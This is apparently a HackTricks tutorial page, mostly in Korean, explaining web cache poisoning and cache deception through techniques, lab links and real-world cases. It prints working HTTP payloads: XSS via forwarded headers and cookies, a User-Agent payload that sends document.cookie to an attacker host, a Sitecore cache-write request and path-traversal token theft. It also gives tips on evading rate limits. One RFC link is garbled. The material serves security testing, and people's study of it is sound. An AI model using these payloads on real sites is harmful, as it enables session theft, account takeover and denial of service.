Cache Poisoning and Cache Deception

Reading time: 15 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

The difference

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, 공격자는 애플리케이션이 일부 악성 콘텐츠를 cache에 저장하도록 만들고, 해당 콘텐츠가 cache에서 다른 애플리케이션 사용자들에게 제공됩니다.
  • In web cache deception, 공격자는 다른 사용자의 민감한 콘텐츠가 cache에 저장되도록 유도한 다음, 공격자가 그 콘텐츠를 cache에서 회수합니다.

Cache Poisoning

Cache poisoning은 client-side cache를 조작해 클라이언트가 예기치 않은 자원, 부분적인 응답, 또는 공격자가 제어하는 자원을 로드하도록 강제하는 것을 목표로 합니다. 영향 범위는 해당 페이지의 인기(트래픽)에 따라 달라지며, 오염된 응답은 cache가 오염된 기간 동안 그 페이지를 방문하는 사용자들에게만 제공됩니다.

cache poisoning 공격의 수행은 몇 가지 단계로 이루어집니다:

  1. Identification of Unkeyed Inputs: 요청이 캐시되기 위해 필수적이지 않더라도 서버가 반환하는 응답을 변경할 수 있는 파라미터들입니다. 이러한 입력을 식별하는 것은 cache를 조작하기 위해 매우 중요합니다.
  2. Exploitation of the Unkeyed Inputs: unkeyed inputs를 식별한 후, 공격자에게 유리하도록 서버의 응답을 변경하기 위해 이러한 파라미터들을 어떻게 악용할지 파악합니다.
  3. Ensuring the Poisoned Response is Cached: 마지막 단계는 조작된 응답이 cache에 저장되도록 보장하는 것입니다. 이렇게 하면 cache가 오염된 동안 해당 페이지에 접근하는 모든 사용자는 오염된 응답을 받게 됩니다.

Discovery: Check HTTP headers

일반적으로 응답이 stored in the cache되었을 때 이를 나타내는 header가 있습니다. 어떤 헤더에 주의해야 하는지는 이 글에서 확인할 수 있습니다: HTTP Cache headers.

Discovery: Caching error codes

응답이 cache에 저장되는 것으로 의심된다면, send requests with a bad header를 시도해 볼 수 있습니다. 이 요청은 status code 400으로 응답되어야 합니다. 그런 다음 해당 요청에 정상적으로 접근해 보고, response가 400 status code라면 취약하다는 것을 알 수 있습니다(심지어 DoS도 가능할 수 있습니다).

You can find more options in:

Cache Poisoning to DoS

다만 때로는 이러한 종류의 status code들이 캐시되지 않을 수 있으므로 이 테스트가 항상 신뢰할 수 있는 것은 아니라는 점에 유의하세요.

Discovery: Identify and evaluate unkeyed inputs

Param Miner를 사용하여 페이지의 응답을 changing the response of the page할 수 있는 파라미터와 헤더를 brute-force parameters and headers로 찾아볼 수 있습니다. 예를 들어, 어떤 페이지는 X-Forwarded-For 헤더를 사용하여 클라이언트가 스크립트를 그 경로에서 로드하도록 지시할 수 있습니다:

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

백엔드 서버에서 유해한 응답 유도

식별된 parameter/header에 대해 그것이 어떻게 정제(sanitised) 되는지, 그리고 헤더에서 응답의 어디에 반영(reflected) 되거나 영향을 주는지 확인하세요. 그래도 이를 악용할 수 있나요 (XSS를 수행하거나 당신이 제어하는 JS 코드를 로드? DoS를 수행?...)

응답을 캐시되게 만들기

악용 가능한 페이지와 사용할 parameter/header, 그리고 이를 어떻게 악용(abuse) 할지 **식별(identified)**했으면, 해당 페이지를 캐시되게 해야 합니다. 캐시하려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 반복 시도해야 할 수 있습니다.

응답의 헤더 **X-Cache**는 유용할 수 있으며, 요청이 캐시되지 않았을 때 miss 값을, 캐시되었을 때 hit 값을 가질 수 있습니다.
헤더 **Cache-Control**도 리소스가 캐시되고 있는지, 다음에 언제 캐시될지 확인하는 데 유용합니다: Cache-Control: public, max-age=1800

또 다른 흥미로운 헤더는 **Vary**입니다. 이 헤더는 일반적으로 키로 취급되지 않는 헤더라도 캐시 키의 일부로 간주되는 추가 헤더를 나타내기(indicate additional headers) 위해 자주 사용됩니다. 따라서 공격자가 대상의 User-Agent를 알고 있다면, 해당 User-Agent를 사용하는 사용자들을 위해 캐시를 poison할 수 있습니다.

캐시와 관련된 또 다른 헤더는 **Age**입니다. 이 헤더는 객체가 프록시 캐시에 머문 시간을 초 단위로 정의합니다.

요청을 캐시할 때는 사용한 헤더에 대해 **주의(be careful with the headers you use)**해야 합니다. 일부 헤더는 예상치 못하게 keyed로 사용될 수 있으며, 그러면 피해자는 동일한 헤더를 사용해야 합니다. 항상 **다른 브라우저들(different browsers)**로 Cache Poisoning을 test하여 제대로 동작하는지 확인하세요.

Exploiting Examples

Easiest example

응답에 X-Forwarded-For와 같은 헤더가 필터링 없이 반영(reflected)됩니다.
기본 XSS 페이로드를 보내고 캐시를 poison하면 페이지에 접근하는 모든 사용자가 XSSed 되게 할 수 있습니다:

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

참고: 이것은 /en?region=uk 요청을 오염시키며 /en 요청은 아닙니다

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

this writeup 에서는 다음과 같은 간단한 시나리오가 설명되어 있습니다:

  • CDN은 /share/ 아래의 모든 것을 캐시합니다.
  • CDN은 %2F..%2F를 디코드하거나 정규화하지 않으므로, 이를 path traversal to access other sensitive locations that will be cached로 사용하여 https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 같은 민감한 위치에 접근할 수 있습니다.
  • 웹 서버는 %2F..%2F를 디코드하고 정규화하여 /api/auth/session으로 응답하며, 이는 contains the auth token입니다.

Cookies는 페이지 응답에 반영될 수도 있습니다. 예를 들어 이를 악용해 XSS를 일으킬 수 있다면, 악의적인 cache 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있습니다.

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.

구분자, 정규화 및 점을 이용한 불일치 생성

Check:

Cache Poisoning via URL discrepancies

path traversal을 통한 Cache poisoning으로 API key 탈취

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

This is also explained better in:

Cache Poisoning via URL discrepancies

여러 헤더를 사용해 web cache poisoning 취약점 악용하기

때로는 캐시를 악용하기 위해 exploit several unkeyed inputs가 필요할 수 있습니다. 예를 들어, X-Forwarded-Host를 본인이 제어하는 도메인으로 설정하고 X-Forwarded-Schemehttp로 설정하면 Open redirect을 발견할 수 있습니다. If the server is forwarding all the HTTP requests to HTTPS and using the header X-Forwarded-Scheme as the domain name for the redirect, 리디렉션이 가리키는 페이지의 위치를 제어할 수 있습니다.

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploiting with limited Varyheader

만약 X-Host 헤더가 JS 리소스를 로드할 도메인 이름으로 사용되고 있고, 응답의 Vary 헤더가 **User-Agent**로 표시되어 있다면, 피해자의 User-Agent를 exfiltrate하고 해당 User-Agent를 사용해 poison the cache할 방법을 찾아야 합니다:

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

URL과 body에 요청을 담아 GET 요청을 보낸다. 만약 web server가 body의 값을 사용하지만 cache server가 URL의 값을 캐시한다면, 해당 URL에 접속하는 누구나 실제로는 body의 parameter를 사용하게 된다. James Kettle이 Github 웹사이트에서 발견한 vuln과 같다:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

이와 관련된 PortSwigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

예를 들어 ruby 서버에서는 ; 문자를 & 대신 사용해 parameters를 구분할 수 있습니다. 이를 이용해 키가 없는 parameters 값을 키가 있는 parameters 내부에 삽입해 악용할 수 있습니다.

PortSwigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

여기에서 Cache Poisoning attacks by abusing HTTP Request Smuggling를 수행하는 방법을 확인하세요.

Automated testing for Web Cache Poisoning

Web Cache Vulnerability Scanner는 Web Cache Poisoning을 자동으로 테스트하는 데 사용할 수 있습니다. 다양한 기법을 지원하며 커스터마이징이 매우 용이합니다.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

이 실제 패턴은 header 기반 반사 primitive와 CDN/WAF 동작을 연결하여 다른 사용자들에게 제공되는 캐시된 HTML을 신뢰성 있게 포이즈닝합니다:

  • 메인 HTML은 신뢰할 수 없는 요청 헤더(예: User-Agent)를 실행 가능 컨텍스트로 반사했습니다.
  • CDN은 캐시 헤더를 제거했지만 internal/origin cache가 존재했습니다. CDN은 또한 정적 확장자(예: .js)로 끝나는 요청을 자동으로 캐시했고, WAF는 정적 자산에 대한 GET에 대해 더 약한 콘텐츠 검사를 적용했습니다.
  • 요청 흐름의 특성으로 인해 .js 경로에 대한 요청이 이후 메인 HTML에 사용되는 cache key/variant에 영향을 주어 header reflection을 통한 크로스-유저 XSS가 가능해졌습니다.

실전 레시피(한 인기 있는 CDN/WAF에서 관찰됨):

  1. 평판 저하가 없는 깨끗한 IP에서(이전 평판 기반 강등을 피하면서), 브라우저 또는 Burp Proxy의 Match & Replace를 통해 악성 User-Agent를 설정합니다.
  2. Burp Repeater에서 두 개의 요청 그룹을 준비하고 "Send group in parallel"를 사용합니다(단일-packet 모드가 가장 잘 동작합니다):
  • 첫 번째 요청: 같은 오리진의 .js 리소스 경로에 대해 악성 User-Agent를 보내며 GET 요청을 보냅니다.
  • 바로 다음: 메인 페이지(/)에 GET을 보냅니다.
  1. CDN/WAF 라우팅 레이스와 auto-cached .js가 결합되어 종종 포이즈닝된 캐시된 HTML 변형을 주입하며, 이는 동일한 캐시 키 조건(예: User-Agent 같은 동일한 Vary 차원)을 공유하는 다른 방문자들에게 제공됩니다.

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • 많은 CDN은 캐시 헤더를 숨긴다; poisoning은 몇 시간 단위의 갱신 주기에서만 나타날 수 있다. 여러 위치의 IP를 사용하고 rate-limit 또는 평판 트리거를 피하기 위해 요청 속도를 제한하라.
  • CDN의 자체 cloud에 속한 IP를 사용하면 라우팅 일관성이 향상될 때가 있다.
  • 엄격한 CSP가 존재하더라도, reflection이 메인 HTML 컨텍스트에서 실행되고 CSP가 inline 실행을 허용하거나 컨텍스트로 우회되는 경우에는 여전히 작동한다.

Impact:

  • 세션 쿠키가 HttpOnly로 설정되어 있지 않다면, poisoned HTML을 제공받는 모든 사용자로부터 document.cookie를 mass-exfiltrating함으로써 zero-click ATO가 가능하다.

Defenses:

  • 요청 헤더를 HTML로 반영하는 것을 중단하라; 불가피하면 반드시 컨텍스트에 맞게 인코딩하라. CDN과 origin의 캐시 정책을 일치시키고 신뢰할 수 없는 헤더에 따라 vary하지 않도록 하라.
  • WAF가 .js 요청 및 정적 경로에 대해 일관되게 콘텐츠 검사를 적용하는지 확인하라.
  • 세션 쿠키에 HttpOnly (및 Secure, SameSite)를 설정하라.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

이 항목은 공격자가 선택한 캐시 키 아래에 임의의 HTML을 기록하여, 캐시 키가 알려지면 정확한 poisoning이 가능하게 만듭니다.

자세한 내용(캐시 키 구성, ItemService 열거 및 chained post‑auth deserialization RCE)은 다음을 참고하세요:

Sitecore

취약한 예

Apache Traffic Server (CVE-2021-27577)

ATS는 URL 내부의 fragment를 제거하지 않고 전달했으며, cache key는 fragment를 무시하고 host, path, query만을 사용해 생성했습니다. 따라서 요청 /#/../?r=javascript:alert(1)는 백엔드로 /#/../?r=javascript:alert(1) 그대로 전송되었고, 캐시 키에는 payload가 포함되지 않고 host, path, query만 포함되었습니다.

GitHub CP-DoS

content-type header에 잘못된 값을 보내면 405 cached response가 발생했습니다. 캐시 키에 cookie가 포함되어 있어 공격은 인증되지 않은 사용자에게만 가능했습니다.

GitLab + GCP CP-DoS

GitLab은 정적 콘텐츠를 저장하기 위해 GCP buckets를 사용합니다. GCP Buckets는 **header x-http-method-override**를 지원합니다. 그래서 x-http-method-override: HEAD 헤더를 전송해 캐시를 poison하여 빈 응답 본문을 반환하도록 만들 수 있었습니다. 또한 PURGE 메서드도 지원될 수 있습니다.

Rack Middleware (Ruby on Rails)

Ruby on Rails 애플리케이션에서는 Rack middleware가 자주 사용됩니다. 해당 Rack 코드는 x-forwarded-scheme 헤더의 값을 가져와 요청의 scheme으로 설정하는 역할을 합니다. x-forwarded-scheme: http 헤더가 전송되면 동일한 위치로 301 redirect가 발생해 해당 리소스에 대한 Denial of Service (DoS)를 일으킬 수 있습니다. 추가로, 애플리케이션이 X-forwarded-host 헤더를 인정하고 사용자를 지정된 호스트로 리다이렉트할 수 있습니다. 이러한 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 만들어 보안 위험을 초래할 수 있습니다.

403 and Storage Buckets

Cloudflare는 과거에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3나 Azure Storage Blobs에 접근을 시도하면 403 응답이 발생했고 그 응답이 캐시되곤 했습니다. Cloudflare는 403 응답 캐싱을 멈췄지만, 다른 프록시 서비스에서는 여전히 이 동작이 존재할 수 있습니다.

Injecting Keyed Parameters

캐시는 종종 특정 GET 파라미터를 캐시 키에 포함합니다. 예를 들어 Fastly의 Varnish는 요청의 size 파라미터를 캐시했습니다. 그러나 URL-encoded 된 버전의 파라미터(e.g., siz%65)를 잘못된 값과 함께 전송하면 캐시 키는 올바른 size 파라미터를 사용해 구성되는 반면, 백엔드는 URL-encoded 파라미터의 값을 처리했습니다. 두 번째 size 파라미터를 URL-encoding 하면 캐시에서는 생략되지만 백엔드에서는 사용되게 됩니다. 이 파라미터에 0 값을 할당하면 캐시 가능한 400 Bad Request 에러가 발생했습니다.

User Agent Rules

일부 개발자는 FFUF나 Nuclei 같은 고트래픽 도구의 user-agent와 매칭되는 요청을 차단해 서버 부하를 관리합니다. 아이러니하게도 이런 접근은 cache poisoning 및 DoS와 같은 취약점을 도입할 수 있습니다.

Illegal Header Fields

https://datatracker.ietf.mrg/doc/html/rfc7230은 헤더 이름에서 허용되는 문자를 지정합니다. 지정된 tchar 범위 밖의 문자를 포함한 헤더는 이상적으로는 400 Bad Request 응답을 유발해야 합니다. 하지만 실제로는 서버가 이 표준을 항상 따르지 않습니다. 주목할 만한 예로 Akamai는 유효하지 않은 문자가 포함된 헤더를 전달하고, cache-control 헤더가 없는 한 모든 400 에러를 캐시했습니다. 예를 들어 \ 같은 불법 문자가 포함된 헤더를 전송하면 캐시 가능한 400 Bad Request 에러가 발생하는 패턴이 확인되었습니다.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.

우선 .css, .js, .png 등과 같은 확장자는 일반적으로 캐시에 저장되도록 구성되어 있다는 점에 주의하세요. 따라서 www.example.com/profile.php/nonexistent.js에 접근하면 캐시는 해당 응답을 확장자를 보고 저장할 가능성이 큽니다. 하지만 애플리케이션이 _www.example.com/profile.php_에 저장된 민감한 사용자 콘텐츠로 응답하고 있다면, 다른 사용자의 그 콘텐츠를 훔칠 수 있습니다.

다른 테스트 항목:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

또 다른 명확한 예시는 이 보고서에서 볼 수 있습니다: https://hackerone.com/reports/593712.
해당 예시에서는 http://www.example.com/home.php/non-existent.css 처럼 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_의 내용(사용자의 민감한 정보 포함)이 반환되고 캐시 서버가 그 결과를 저장한다고 설명합니다.
그 후 공격자는 자신 브라우저에서 http://www.example.com/home.php/non-existent.css 에 접근해 이전에 접근한 사용자들의 기밀 정보를 볼 수 있습니다.

캐시 프록시가 파일의 content-type이 아닌 파일의 확장자(.css)를 기준으로 파일을 캐시하도록 configured 되어 있어야 한다는 점에 유의하세요. 예시에서 http://www.example.com/home.php/non-existent.csstext/html content-type을 가지며 text/css mime 타입이 아니게 됩니다.

Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.

자동화 도구

  • toxicache: Golang scanner로 URL 목록에서 web cache poisoning 취약점을 찾아 여러 주입 기법을 테스트합니다.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기